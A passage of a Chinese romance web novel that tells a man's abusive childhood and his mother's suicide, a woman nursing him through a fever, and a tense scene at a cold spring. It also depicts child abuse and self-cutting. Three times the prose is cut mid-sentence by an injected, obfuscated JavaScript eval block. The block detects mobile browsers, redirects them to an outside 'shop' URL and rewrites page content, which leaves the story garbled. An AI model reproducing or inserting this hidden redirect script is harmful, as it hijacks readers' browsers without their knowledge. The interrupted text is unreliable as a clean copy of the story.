饮过药血的江道灼暂时平静下来，但很快又陷入更深的痛苦。渡劫期，连血丹也救不了他。 昏迷中的江道灼浑身发烫，身体不住轻颤。 李初棠替他擦去额角的汗，指尖不经意触到自己微肿的唇，指腹染上一抹猩红。 又被他咬破了…… 李初棠盯着血色沉思。 烧好热水，浸湿帕子，人皮竹灯在昏暗中晕开暖黄的光。她坐在床边，一边生着闷气，一边小心擦拭他的伤口。 视线划过他苍白的脸颊，落在那张眉心紧蹙的睡颜上。 江道灼脆弱时，像一枝被雨打湿的白莲花，美丽而易碎。 这人向来体质强健，伤口愈合极快。 今日却处处透着古怪，不仅败给一个地头蛇，更昏睡不醒，伤口也未见好转。 她伸手探他额温，触手滚烫。 深更半夜，她匆匆跑去敲响林张婆婆的门，借来退烧药。 在昏暗里划亮火折子，她手忙脚乱地点燃药炉。 从未熬过药的她，笨拙地扇着火，心头焦躁又无奈。 都怪这个笨蛋！ 半个时辰后，李初棠端着药碗回到床边。 月色如霜，洒在男人苍白的脸上。他于昏迷中喃喃梦呓：“娘……” “你去哪儿……” 药炉咕嘟作响，榻上的人忽然蜷缩起来，像个被遗弃的孩子般低语：“娘，你别走……” 李初棠擦拭他额头的手蓦然一顿。 月光漏过窗隙，照亮他半边侧脸，那上面竟有一行泪痕无声滑入鬓角。 她从未见过江道灼哭。 哪怕濒死之际，他也只会冷笑。 鬼使神差地，她坐回床边，指尖极轻地拂去那点湿痕。 而他仿佛抓住浮木般，握紧了她的手。 他拉住一个身着靛蓝衣裙的女子，她腰间的银铃叮咚作响。 记忆里，面容模糊的女子缓缓蹲下，温柔地对他说：“小灼乖，娘亲一会儿就回来。” 他哭得像个真正的孩子，死死攥着她的衣角，不肯松手。 江容芷望着他，美丽却呆滞的眼眸闪过一丝疯戾。 她没有拆穿儿子。他真正害怕的，其实是她变相的报复。 每次太监都用担架抬她回来，低骂一声“晦气”，匆匆离开这片阴冷的宫墙。 回回侍寝，她总是满身伤痕。 醒来后的第一件事，就是紧紧抱住他，仔细嗅他身上气息，喃喃低语：“只有你是干净的……” 江道灼被母亲箍在怀中，手臂无意碰到她的伤口。 他浑身僵硬，止不住地颤抖，不知该说什么。 看着儿子懵懂的脸，她忽然觉得荒谬。自己付出惨痛代价，却什么都没换来。 一股失衡的气闷涌上心头。 为何偏偏她生来就是极品药体？为何偏偏是她被当礼物送来和亲？为何又偏偏生下这个孽种？！ 她盯着身旁渐渐长大的男孩，眉头一皱，倏然暴怒：“你也是个命贱的，偏随了我的体质！” 说罢，一巴掌狠狠扇他脸上。 江道灼被她踢倒在地。 欺凌弱小好像是人的本能，这样就显得自己没那么窝囊。 江容芷就爱这么做。 她总在施暴中教育他，一边让他经受痛苦，一边用最温柔的语气说：“记住这痛，我是为你活着，都是为了你！” 小道灼不躲不闪，麻木地承受。 幼时他还会大哭挣扎，后来发现毫无用处，便学会了沉默忍受。 江容芷发泄着，浑浊的眼珠如同附魔：“为了你，我才变成这副鬼样！少这么看我，反正你爹以后也要对你下手，现在还不是我顶岗受罪……” 都是器物，区别在于早用晚用。 后来，她不止打他，更会像圣人对她那样，割他的肉，放他的血。 反正他也是药人圣体，无论多重的伤，总能迅速愈合。 割就割吧，小道灼愿意受苦，至少这样能让娘亲开心些。 但皮开肉绽的剧痛，从未因药人体质减轻半分。 小道灼看着她用银刀划开他细嫩的胳膊，露出粉嫩带血的皮肉。 冷宫里，他们以疯狂的方式，完成扭曲的母子联结。 对此，他早已习惯。 每过一旬，娘亲总要这样疯一次，疯完再抱着他道歉。 她会流着泪为他上药，甚至用自己的血涂抹他的伤口。 然后温柔地说：“娘对不住你，你也给娘一点血，好不好？娘太疼了……” 他的南疆血统虽不纯正，但天生药血确有疗愈之效，与她一样。 “娘为了疗伤才取你的血……平日里不会，绝不会……”江容芷解释着，她以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495122|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为儿子不会原谅他。 但她错了。 他依旧贪恋这一点点爱。 毕竟，她是他在冰冷世间唯一能抓住的温暖。 江容芷不去伺候圣人的闲暇时光里，她是那样正常，那样温柔体贴。 她会为他下厨，陪他在枯树下捡拾枝条，一起雕些小物件，打发冷宫漫长的光阴。 她会安慰总想看看外面世界的儿子：“我们是南疆最后的王室血脉，比中原这些肮脏皇族高贵千百倍。他们只配用我们的血。” “皇帝每喝我一碗血，我都在心里咒他早死。” “但小灼，你要记住，我们的血是毒也是药，是保命符，也是挣不脱的枷锁……” 他至今记得母亲说这番话时，眼中深不见底的无助。 小江道灼忽然有些难过，蹙眉轻声问：“娘，你会离开我吗？” 她摇摇头，温柔捧起儿子的脸颊，脆弱地看着他：“小灼，你记住。不要相信任何人，包括我。我今天爱你，明天可能会恨你。人心比蛊虫更善变。” 后来，她依旧按旬受罪，再后来，她连发疯都变少了。 终于，江容芷回到了最温柔的模样，温柔得让他心生疑惑。 她的慈爱太过完整，像一张精心描绘的面具。 小江道灼隐约觉得哪里不对，却又贪恋这罕见的暖意，只得压下心头那丝细微的不安。 她耐心陪他削着木条。 片刻后，看着他手中那把粗糙的木剑，她忽然笑起来：“哇，我们家要出个小侠客啦。” 江道灼怔了怔，慢慢勾起嘴角，露出一个久违的笑容。这般安稳的时光，让他生出一种陌生的、近乎幸福的情绪。 这陌生感让他有些无措，但娘亲还在笑，他便学着她的样子，努力扬起唇角。 她将他搂进怀里，望着他，与他一同笑着。笑着笑着，她忽然平静下来，轻声说：“今日是娘亲的生辰。” “我想讨件礼物。” 见她敛了笑意，他也收起笑容：“娘亲想要什么？” “想让你替我雕一支木簪，上头要刻花，好不好？”她眯眼笑了笑，嘴角又很快垂下。 男孩毫不犹豫地点头：“好。” 他飞奔到院中，蹲在枯树下仔细挑选枝条。 他要找一根最结实、最细腻的木头，为娘亲雕一支全天下最好看的簪子。 他雕得极为认真。阳光透过叶隙，在他稚嫩的手背上跳跃。 有那么一瞬，他生出错觉，这种日子或许就是世人所说的岁月静好。 木簪终于雕成，簪上花朵栩栩如生。 他满心欢喜跑回屋，期待着看见母亲的笑脸。 门轴吱呀轻响，夕阳余晖斜斜切进屋内。 最先刺入眼帘的，是一双悬空的绣鞋。 南疆缠枝纹在昏光中鲜烈如血，鞋尖微微朝他的方向，仿佛在等待。 他的视线缓缓上移。 母亲穿着隆重的南疆服饰，头发梳得一丝不苟，脸上甚至扑了淡淡的粉，盖住了常年失血的苍白。 她闭着眼，嘴角微翘，神情是一种近乎幸福的平静，仿佛只是睡着了。 木簪“啪”得落地。 世界在他眼前无声的碎裂。 他不懂何为死亡，慢慢走过去，拉了拉母亲冰冷的裙角，小声说：“娘，簪子雕好了。” 没有回应。 他忽然想起母亲说过的话：“人心比蛊虫更善变。” 原来连死亡，都可以是一场温柔至极的骗局。 药炉“啪”地爆开一点火星，李初棠蓦然回神。 榻上的人依旧深陷梦魇，额发尽湿，唇间无声嚅动。 她伸手探他额温，指尖却停留在他眼角。那里干燥如初，仿佛方才窥见的泪痕只是错觉。 可她心知并非如此。 灯火摇曳，她凝视着这张沉睡中依旧紧蹙眉心的脸，忽然想起他昏迷前那句带笑的挑衅。 “生气了？杀了我啊。” 此刻，她才隐约触到笑意之下的真相。 或许他从来不怕死。 他只怕活着，却无人可恨，亦无人可依。 21. 21 江容芷用极致温柔的方式，给了他最彻底残忍的抛弃。 她连自杀，都不愿让江道灼看见她丑陋的过程。 原来，所有温情都不过是最终残酷的前奏。 自那以后，他学会了用绝对理性应对极致痛苦。 在南疆无数个生不如死的夜晚，他恨毒了江容芷。 可每每濒临崩溃之时，她死亡的画面就会在眼前回闪。 这比最毒最烈的药更折磨人。 “娘……” 意识昏沉中，理智先于身体做出判断，他不自觉地去寻找安全感，然后紧紧握住李初棠的手。 “娘……不要……” 他声音微弱，像个无助的孩童。 李初棠看着他雪色的唇、苍白的脸、紧蹙的眉，心想他一定是重伤失血过度才会做噩梦。 火气在这一刻烟消云散。 她眼珠一转，放下药碗，含笑轻声道：“娘亲在呢，别怕。” 她哄孩子一样，轻轻搂住他僵硬的臂膀。 他因失血而蜷缩着，骤然跌入一个温暖的怀抱里，那么安稳……就像一个孤独濒死的旅人，终于寻到了愿意接纳他的温柔乡。 他死死搂住她，像抓住救命稻草。 这是他唯一能触摸到的光，绝不能失去。 “你放松一点，放松……”李初棠被他抱得太紧，几乎喘不过气。 她耐心哄着：“听娘的话，乖，放松……” 男人竟奇迹般听懂了。他的身子渐渐软下来，手臂乖乖松开。 李初棠任他靠着肩，一手端起药碗，舀起一勺喂到他唇边：“宝宝乖，喝药药啦。” 药勺轻碰他的唇，他缓缓张开嘴，慢慢咽下。 “哇，这么乖呀！” 李初棠一喜，又喂了一口，心想他清醒时若能这么听话就好了。 “快喝完，我的小乖乖……” 她一句一句轻哄着，等喂完药，他也彻底沉睡。 李初棠松了口气，爬上竹床，在他身边躺下。 翌日，江道灼从竹床上醒来时，外面已是日上三竿。 经历满月渡劫，血毒暂得缓解。他盘膝打坐，只觉浑身内力充盈。 恢复如常后，昨夜缠绵的记忆涌入脑海。 江道灼猛地睁眼。 一定是血丹的缘故！ 他们之间有血契之盟，所以他下意识寻求她的唇血。 不然，他怎会吻她。 可为什么伸舌？ 江道灼扶着额角，手指深掐进发丝。 当时他意识朦胧，半醒半昏。 很多事……似乎都是本能驱使。 不可能。 自小由冲神道长训诫，他从不知心动为何物，更不会对李初棠…… 他无意识地抿唇，那里仿佛还残留着不属于他的温度。 他脸色一沉。 无非血契作祟，何必多想。 定是身体为寻药源，这才失了控。 对，一定是这样。 眉眼间的烦躁还来不及消退，又意识到一个问题。 他昏厥前明明在供桌旁，今天怎会回到竹床？ 江道灼竭力回想昏迷时的片段，却只如雾里看花。 隐约间，他听见女子温柔的哄劝声。 他好像梦见了江容芷…… 可那又不全然像梦，因为回应他的声音清脆如银铃。 思及此，他眸色骤寒，一股混杂着戾气的燥火直冲颅顶。 她怎么敢窥见他最不堪的梦魇，还以那般温柔的假面回应，简直比母亲当年的欺骗更令他难堪！！ 江道灼双目泛红，指节捏得青白。他扫视空荡的竹床与庙宇，下意识摸向腰间。 银铃静静垂着，看来她暂无危险。 他大步跨出破庙，观澜立刻闪身出现。 “主上，昨夜属下来迟！望主上恕罪！” 昨日他去阳明山取药，竟错过一场大戏。 “她人呢？” 观澜抬头一顿。 这满身的煞气是要杀谁？！ 他喉头一梗，立刻怂了：“属、属下不知……” 一记森寒的眼风扫来，观澜后颈发凉，急道：“昨夜属下赶来时……见她搀着主上回了竹床，之后……一直守在旁边，照料了一宿。” 观澜想起那荒唐一幕，庆幸自己只看一眼就躲开了。 其实他真的真的很想对主上说——主上你她搂在怀里当孩子哄的画面，实在太过震撼！ 江道灼没有错过观澜脸上一闪而过的古怪神情，脸色愈发阴沉。 “站着别动。”他要去亲自找她算账。 观澜听话的僵在原地。 一回神，国师已疾步远去。 江道灼沉着脸走向林张婆婆家。许是神色太冷，对方一见他就发颤：“我、我也不知……” 她哆嗦着不像说谎。她若不知，这山里怕是没人知道了。 江道灼不再耽搁，步伐凌厉地往前走。小径偶有山民进过，点头哈腰地让路。 一个挑担的货郎避让不及，惊得摔倒在地。 江道灼脚步一顿，冷眼扫去。 货郎连东西都顾不上捡，连连叩拜：“蛇王相公饶命啊！小的不是故意冲撞，是方才让路时自己绊倒的……” “什么。”他眉梢一挑。 货郎汗毛倒竖，话都说不清了，只顾磕头解释。 江道灼声音低得骇人：“你叫我什么。” “蛇王相公！”货郎斩钉截铁。 江道灼两眼一黑。 只听说过压寨夫人，蛇王相公是什么鬼？ 他是被抢来的吗？ “蛇王相公品行高洁，莫要与小的一般见识……” 他吓得连连叩首，再抬头时，眼前已空无一人。 前方正是市集，人群密集。 江道灼脚步微顿，随即袍摆飞扬，快步向前。 可刚踏进市集，他就后悔了。 他头戴抹额，身姿挺拔，一袭得体衣袍在山野市集中格外醒目。 原本喧闹的集市渐渐安静，人们对他行注目礼，那目光——有敬畏，有好奇，更多的是审视。 “这就是蛇王相公？果然一表人才！” “瞧这身板，蛇王眼光真好！” “能做蛇王的男人，真有福气！” 议论声不大不小，刚好他能听见。 江道灼：“………………” 越来越多的村民们停下手中活计，转头望来，江道灼目不斜视向前走，拥挤的人群自发让出一条道。 他畅行无阻，又心生别扭。这些人看他的眼神，只差建个丰碑顶礼膜拜了。 他正欲穿过，忽听一个男人颤声唤道：“……蛇王相公？” 有人小声附和：“是、是蛇王相公……” “见过蛇王相公！” 一个妇人率先跪下，紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495123|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着又有几人跟着屈膝。 “见过蛇王相公——！！” 如风吹麦浪，众人齐刷刷躬身行礼。 不远处一个挎着菜篮的大婶见状，也急忙拽着身边发愣的儿子跪下：“快喊蛇王相公！说蛇王相公吉祥！” 江道灼深吸一口气。 忽而想起师父说过的话：“玄真啊，人怕出名猪怕壮。” 但他没想到，有朝一日壮了会被逼着当裙下之臣。 李初棠，你给我等着。 他加快脚步，作势寻她算账，正前方却堵着个不懂事的小屁孩。 那孩子抬头看了他一眼，双眼亮如星星，“哇！” “蛇王相公您吉祥！” 声音比银铃还脆生。 江道灼嘴角一抽。 好。 很好。 愤怒到极致他变得无比平静。 “蛇王人在哪儿。”他背对着众人，质问。 有人颤抖着回答：“我、我刚才看见蛇王她……拿着木盆和洗漱的东西往那边去了……” 江道灼唇角一抿，转身直奔溪边。 ——李初棠，你最好给我解释清楚！ 四面荒野，山林环抱。远处瀑布如练，溪水沿山腰蜿蜒而下。 他却没找到那抹身影。 无处宣泄的愤恨和躁戾席卷而来，几乎要冲破理智。 左右不见李初棠，腰间的银铃却叮当作响，隐隐发烫。 她这又是怎么了？！ 银铃越发烫手，铃声凌乱如他失衡的心跳。 他扯着领口透气，而后一把攥住铃铛，指尖却止不住微颤。 这不该是他的反应，更不该是为她而生的反应。 江道灼来不及多想，即刻摘下红绳上的银笛，急促吹出一段调子。 隐藏在暗处的毒蛇纷纷游出，他冷声下令：“找人！” 蛇群嘶嘶吐信，随即四散没入草丛。 可即便虫蛇尽出，偌大山野中寻一少女，宛如大海捞针。 直至黄昏，蛇群疲惫地爬回他脚边，全军覆没。 她会去哪儿？ 时间不等人，银铃已烫得灼手，铃声杂乱如狂。 这意味她正遭遇危急！ 一股莫名的慌张攀上心头，竟暂时压下了满腔怒火。 他逼迫自己冷静，仔细思考着她的去向。 那人说，李初棠是带着洗漱用具离开的，如果不是浣衣，那就是…… 江道灼眸光一动。 该不会…… 他蓦然起身，朝着昨日自己曾去疗伤的那处冷泉赶去。 那地方偏远寂静，并非蛇类常居之地。江道灼动作飞快，拔开杂草，快步走入。 洗个身子耗这么久？真有你的。 江道灼心下烦乱。 待走近泉边，只闻水声瑟瑟。 果真有人。 江道灼拨开挡眼的枝叶。 冷泉雾气氤氲，水面微漾。 泉内安静杵着几块凸出的大石，并无人影。 岸边也无衣物，四周静得出奇。 正当他有转身离开，只听到石后传来极力压抑的呼吸声，细碎而紧绷。 江道灼脚步一顿，他眯起眼睛，蓦然瞥见大石块边缘一抹雪白的肩线。 意识到危险，李初棠吓得颤声：“谁……” “出来。”江道灼勾起冷笑。 “别逼我进去。” 22. 22 石后，传来她微微发颤的声音：“我……我出不去。” 江道灼脚步一顿，目光扫过空荡的岸边，瞬间明白状况。 非但没有转身，反而朝泉边又近两步。 他声线冷硬：“你是想要我进去？” 石后的人明显一僵，水声轻响，却没有动。 “我……”她带着哭腔，“我不要！” 江道灼眉头一蹙。 他不是没见过人身。药窟里试药的男女皆赤身浸泡，自小如此，他早已麻木。 但她是李初棠。 她和别人不一样。 这个莫名的认知让他喉头发紧，愈发烦躁：“衣服呢？” “……被偷了。”她的声音闷在石块后，又羞又恼。 江道灼静了一瞬。 他是来算账的，算她昨夜胆大包天、拿他当猴儿耍的账！ 可此刻，她赤身缩在冷泉里，声音发抖，连面都不敢露。 脑中“轰”地一响，江道灼思绪更加凌乱。 这局面，远比他预想的荒唐。 满腔怒火撞上一堵无形的墙，滞在胸口，吐不出也咽不下。这感觉难受极了，他伸手胡乱扯了扯衣领。 最终，只冷冷扔下一句：“等着。” 李初棠缩在大石后面，双手紧捂胸前，听到身后传来窸窸窣窣的声响。 他似乎在找能蔽体的东西。 过了一会儿，身后安静下来。 “出来。” 他命令道。 李初棠身子缩得更紧，“……我不要！” 男人顿了一下，隐忍道：“我看不见。” 李初棠一怔，仍有犹豫。 “再不出来，我让你泡一辈子！” 感受到他耐心告罄，她鼓起勇气转身，扶着石块，悄悄探出头去。 落日黄昏下，高挺的青年已脱下外袍，双臂环抱立于岸边，眉眼被靛青色抹额蒙住，高高的马尾在晚风中轻扬。 不知为何，金灿灿的余晖柔和了他冷峻的气场，也给李初棠添了几分决心。 她在泉里泡得浑身发软，此刻只想赶紧上岸。深吸一口气，心一横，径直朝江道灼走去。 水声动荡间，江道灼的黑暗视野里，渐渐浮现一道纤细朦胧的身影。 他看不见人，却能感知她在身边。 李初棠浑身赤裸，雪色肌肤在暮色中格外醒目。 她双手紧护胸前，双腿绷直，湿漉漉的身子暴露在空气中，微微瑟缩。 她鼓起勇气，抬眼看向蒙眼的江道灼。 他下颌紧绷，薄唇抿成一条线，微沉的吐息让李初棠有点害怕。 他在岸上，她在水中，她的头顶还不及他下颌。 视觉被剥夺后，其他感官被无限放大。江道灼能清晰感受到她近在咫尺的气息，不知为何，自己的呼吸也跟着收紧。 李初棠伸手扯了扯他挂在臂弯上的外袍。 纹丝不动。 他冷声道：“先上来。” 李初棠垂眸看向脏兮兮的泥地，咬唇道：“我没有鞋袜……” 话音未落，头顶传来一声压抑的冷哼。 他的忍耐到达极限。 李初棠羞愧欲死，指尖掐进掌心，许久才嗫嚅道：“你能不能帮……” 话没说完，后腰忽地一紧。 江道灼先是一愣，随即箍住她，一把将人提出水面。 赤身骤然暴露在外，她还来不及惊呼，便被宽大外袍紧紧裹住身子，雪白肌肤彻底与外界隔绝。 她蜷缩脚趾，不愿碰到泥地。男人的手臂穿过她的膝弯，稳稳托住惊慌的少女。 怀中身躯轻颤，湿发贴在他颈侧，带着泉水的凉意。 江道灼沉声：“再动把你扔回去。” 李初棠立刻僵住不动。男人的外袍将她严实掩住，她乖乖缩在他怀里，任由他稳稳横抱着。 “看路。” 他说着就要离开。 “别走！”李初棠慌忙道，“……先别走。” 天还没全黑，这个时辰常有山民聚众闲聊，万一被看见，丢死人了。好不容易控制住山民，绝不能在他们面前败坏形象。否则，再无颜面立足。 江道灼听懂了她的弦外之音，鼻息微沉，忍着脾气在岸边坐下。 那便等着。 他靠树坐着，脸色难看到极点。 李初棠缩在他怀里，坐在他大腿上。 气氛凝滞，静得诡异。 隔着湿透的衣袍，体温与心跳无声传递。她发梢的水滴落在他颈间，江道灼不满地皱了皱眉。 仅隔一层单薄衣料，少女肌肤微湿，身子轻颤。 “不许动。”他凶道。 李初棠别别扭扭道：“先把手拿开……” 江道灼一怔，发现手还贴在她后腰。 触感绵软，像碰到了水嫩的豆腐。 意识到颅内所思，他下意识松开手，远离了她的肌肤。 李初棠红着脸，脊背挺得笔直，双手抱住小腿，尽量减少与他的接触。 江道灼摩挲着微微发热的掌心。 那截腰，竟然没他的手长。 过了许久，李初棠稳住呼吸：“谢谢你。” 他没有回应。 她垂眸不敢看他，轻声道：“还好你来了，不然我真要泡烂了。” 声音软绵绵的，透着真诚。 “我没有偷偷下山，只是想洗个身子，结果碰上小偷……那人趁我不注意，拿走我的衣裙。”说着，她松了口气，“还好没做别的事……” “可惜铃铛还挂在腰带上，跟着丢了……” 她断断续续解释，嗓子越来越哑。冷泉里泡了太久，又吹了风，实在难受。 晚风袭来，她身子因寒冷不自觉地轻颤，失去平衡歪向一边。 黑暗间，江道灼手臂下意识收紧，将她往怀里带了带。 既有贼人，理应防范，于是他扯下眼前抹额。 看清身前倚靠的人，江道灼身体变得僵硬。 不是出于欲望，而是出于警觉。 他不习惯与人如此贴近。 李初棠原本不自在，发觉他无狎昵之意，逐渐放松。水里泡久了，浑身绵软无力，眼皮发沉。疲惫像潮水一样涌上来，她不知不觉靠进了他怀里。 “这点冷都受不住，出息。” 嘴上嫌她无用，摸出怀中锦帕，贴在湿透的发丝上，一下一下，细细为她擦干水汽。 “多谢。” 李初棠声音软绵绵的，她不是会委屈自己的人，他愿意帮，她就受着。 “若是病倒，还得我来照料。”江道灼冷嗤，“少给我找麻烦。” “那你人怪好的喽。” 她回眸一笑，明媚的笑容猝不及防撞进他眼里。 太近了。 近到他能看清她睫毛上挂着的水珠，近到她的呼吸拂过他的下颌，带着泉水微凉的气息，和少女身上特有的、柔软的暖意。 两人目光在半空相遇。 呼吸温热，近在咫尺。 谁都没有立刻移开。 时间好像在这一刻停顿了。 然后，她先反应过来。 李初棠猛地转过头去，耳廓以肉眼可见的速度染上了一层绯红。 “……我自己来。” 她从他手中抽走锦帕，低头整理湿发，动作慌乱得连手指都在发抖。 江道灼没有说话，吐息发沉。 他只是看着她的侧脸，看着她红透的耳垂，看着她假装镇定却怎么都藏不住的窘迫。 指尖残留着她发丝的凉意，他把手收回来，慢慢攥紧。 喉结滚了一下。 “……随你。” 黑袍裹在身上，因她的动作渐渐松散，拉扯间不经意露出一片雪白的肩头，水珠顺着肩窝滑向更深处…… 察觉到他的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495124|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，李初棠赧然：“你……不转过身去？” 江道灼冷淡道：“没必要。你和药池里的躯体并无不同。” “那你刚才蒙眼？” 江道灼语塞：“……” 这是他第一次被她问住。 他为何迁就她？他自己也不知道，只是下意识这么做了。 这行为，连他自己都解释不清。 李初棠一向聪明，方才见他气势汹汹而来，便已猜到缘由。 她试探着解释：“我不是有意扮你母亲……” “你也配提她？” 李初棠改口：“但你握了我的手……” “那我该剁了它？” 李初棠抿唇：“你喊的是娘，抓的是我。我看你情况不对，所以才……” 他低笑，“人难得糊涂，意识不清也是常事。” 李初棠轻声问：“……所以你才亲我？” 声音里带着责怪。 江道灼瞥她一眼，语气忽然变得很理所当然：“谁让你不老实，自己撞上来。” 李初棠瞪大眼睛：“……我不老实？我撞上来？” 江道灼理不直气也壮：“嗯，对，我才是受害者。” “……” 她气得桃腮鼓鼓，“还没找你算账，你倒好，倒打一耙。” “你该庆幸自己还有点用。”江道灼瞥了眼她的唇，“不然我早杀了你。” 李初棠不服：“你昨天那样对我，我都大人不记小人过了。你不许兴师问罪，咱们就算扯平了。” 江道灼眯起眼睛：“胆子肥了？敢和我讲条件……” 李初棠轻笑：“无意间对我暴露信任和脆弱，你才生气的，对吧？” 江道灼喉头一梗，眼眸倏地失神，随即染上疯戾的光。 昨夜他下意识对她生出信任，这种超出理智的失制反应，让他难以释怀。而今她又一针见血戳破不堪的真相。 江道灼忍无可忍。 他紧紧握拳，手背青筋凸起，指节发白。 “你信不信我现在就杀了你。”他的声音冷得骇人。 知道自己说错了话，李初棠心一横，直视他道：“你不用怄气，其实咱们彼此彼此……我愿意留在你身边，也是因为……信任你。这个家本来是你说了算，我拗不过你，仰仗你生存。但昨晚不一样了，我抓住了机会，打了个漂亮的翻身仗，以后山中上下皆要听我号令，以后我是蛇王，你就是蛇王——” “闭嘴！” 李初棠立刻抿住嘴。 她从没见过他发这么大火。 江道灼一动不动地盯着她。他从没见过如此难解之人，一次两次打破他的底线，触碰他的逆鳞，逼着他一退再退！ 堂堂国师，竟在深山老林给一个衣不蔽体的小姑娘取暖，简直荒唐！ 这种不由自主、任她牵引的感觉，比昨夜她的所作所为更令他发狂。 自江容芷死后，“人心比蛊虫更善变”被他奉为圭臬，多年来从未动摇。 他不再相信任何人，精神世界由此坚不可摧，却不料有朝一日被李初棠划开一道裂痕，生生挤了进来。 江道灼看着她，心底戾气翻涌，却无处宣泄。 李初棠察觉到危险，心里阵阵发慌，不敢再离他这么近，小声道：“好了好了，我不说了……回去吧。” 她顾不上泥地，裹紧袍子站起身，刚向前迈了两步，就被过长的外袍绊了一下。 失去平衡的瞬间，江道灼下意识伸手，揽住她的腰。 她重重跌回江道灼怀里，只是这次坐的不再是他的大腿。 贴近的瞬间，两人呼吸一滞。 她抬头，在昏暗中对上他深不见底的眼眸。 一向冷静的寒眸闪过慌乱，随后，寒意如春水般悄然褪去。 他心乱如麻，一道细微的电流窜进彼此贴合之处。 江道灼咬牙，垂眸看去。 ……严丝合缝。 23. 23 江道灼浑身一僵，血液轰然涌向某处！ 这不受控的反应，比她的任何冒犯都更令他无措。 江道灼从牙缝里挤出声音：“……自己走。” “好、好……”李初棠顾不上脚下泥地，急忙起身。 动作间，衣袍无意蹭过他腿侧。江道灼肌肉一紧，呼吸也重了几分。 他即刻起身，踏入冷泉。 贴近的瞬间，并非只他一人慌乱。李初棠缩到一边，心中乱麻一团。 她对男女之事一知半解。那种奇怪的触感，她也说不明白…… 两人各自沉默，心绪纷乱。 李初棠静静回想昨夜种种：突如其来的吻，莫名的高烧，悲伤的梦呓…… 凡此种种，都在清晰昭示着，江道灼身上缠绕的黑暗，远比她想象得更深、更重。 而她，似乎已在不知不觉间，踏入了他的深渊之中。 许久，她打破寂静：“对不起，我不该提你娘亲。我以后再不提了，我们都不提了。” 直觉告诉她，他一定经历过一段绝望的童年。 李初棠又道：“以后好好过日子，等彻底稳住山民再做打算。” 她突然觉得山居同盟是件很荒谬的事。 早知如此，当初直接下山该多好，她就不会像现在这般赤身裸体缩在他的外袍里。 李初棠一颗心七上八下。 冷泉里的江道灼也好不到哪儿去。他身体紧绷，心想这不知死活的女人，连摔倒都能找准地方。 这么多年恪守圭臬，从不行差踏错。江容芷教他的话早已刻入骨血…… 怎能不长记性？！ 江道灼睁开眼，眉目间透着自厌。他抽出银匕，惩罚般刺向自己的小臂。 染着寒光的锐刃划破苍白肌肤，皮肉外翻，露出鲜红血肉。 青黑色的血如泉涌般汩汩流出，钻心的疼痛刺激着发热的身体，逼他恢复冷静。 唯有痛苦能让人铭记教训，这是师父教他的。 那时师父刚刚取完他的心头血，指尖还沾着温热的红。 “疼吗？疼就对了。记住，这世上唯一不会背叛你的，只有疼痛。” 冲神道长微笑着为他埋下另一处禁制，“记住，你是个道士，断尘缘、离俗境，一心清修。若敢破戒，以你药人之躯，必死无疑。” 除情去欲，精元断不可外泄！ 过了许久，直到泉水被血染透，他出了一身冷汗，体内的燥热才渐渐平息。 江道灼喘息着抬起头，望向大树旁那个蜷缩的背影，忽然想起母亲自尽前夜也曾这样安静坐于窗边。 这联想让他心头一刺，随即被更深的理智掩盖。 他拖着湿透的衣袍上岸。二十三年来心如止水，从未如此狼狈。 没想到竟因她而起。 再抬眸时，他用复杂的眼神望向她。 李初棠一向识趣，只当没注意到他的异常，浅浅一笑：“天黑了，我们回去吧。” 她裹着宽大的外袍，乌发散落，在昏暗中温和地望着他。 江道灼看着她那双干净的杏眸，心中躁郁莫名消散。意识到这一点时，连他自己都觉得不可思议。 他迈步前行，她跟在身侧。过了一会儿，他不得不回头等她。 李初棠走得慢吞吞，光滑的脚心踩在粗糙的林地上，每一步都刺得生疼。 衣袍被树枝勾住，她刚要伸手去扯，眼前忽然出现一只手臂，利落地将她横抱起来。 浑身这么软，没长骨头么。他恶劣地想。 “谢谢你，大壮。”她涩声说。 果然无人应答。 他只是紧抱着她，步履沉缓稳健。 第二日，李初棠昏昏沉沉醒来，打了个寒颤。 她生物钟一向稳定，每日都是这时起身用早饭。下床转过屏风，庙前竹桌上如往常般摆满了热气腾腾的餐食。 李初棠心头一暖。 看来他不生气了。 可惜竹椅上空荡荡的，四下不见人影。 “人呢？”平日他都倚在竹椅上等她。 她去庙外寻了一圈，又到林张婆婆家打听，皆不见他的踪迹。 李初棠饿得发慌，只得先回破庙洗漱用饭。饭后，她瞥见窗外阳光映出神像后的一道影子。 她提起裙摆走去，绕过供桌与泥像，在后方阴影处看见了那个男人。 李初棠一怔，只觉耳目一新。 江道灼身披一袭素白道袍，墨发一丝不苟地束起，簪入莲花玉冠中。 